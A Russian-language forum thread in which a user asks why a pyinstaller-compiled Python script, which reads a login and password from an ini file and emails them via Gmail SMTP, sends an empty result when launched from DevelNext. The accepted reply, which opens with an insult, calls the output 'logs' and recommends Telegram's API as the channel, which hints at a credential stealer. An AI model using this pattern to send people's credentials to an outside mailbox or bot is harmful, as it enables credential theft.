Отправляет пустое значение ini файла

KenDDD

Участник
Автор темы
15
3
У меня есть ini файл
users.ini:
[user]
login = NedoHackers
password = 123123
я получаю его значения и отправляю на почту
python:
try:
    from configparser import ConfigParser
except ImportError:
    from ConfigParser import ConfigParser  # ver. < 3.0

import smtplib
import time
import os


# instantiate
config = ConfigParser()

#smtp object
smtpObj = smtplib.SMTP('smtp.gmail.com', 587)

# parse existing file
config.read('users.ini')

# read values from a section
confdict = {section: dict(config.items(section)) for section in config.sections()}

#start
smtpObj.starttls()

#login
smtpObj.login('*********@gmail.com','*******')

smtpObj.sendmail('******@gmail.com','***********@gmail.com', "\nA new user!" + "\n" + str(confdict))


#quit
smtpObj.quit()
Потом я компилирую его с помощью pyinstaller и если я его запущу сам то он работает успешно, но если я запущу его через develnext(функция open) то он возвращает на почту пустое значение
Сообщение:
A new user!
{}

Виноват ли в этом python, или же это develnext?
 
Решение
Ты далбаеб на почту уже никто логи не отправляет. Для этого давно придуман телеграм со своим лёгким апи. Так же вместо ini ты можешь использовать тот же самый python или json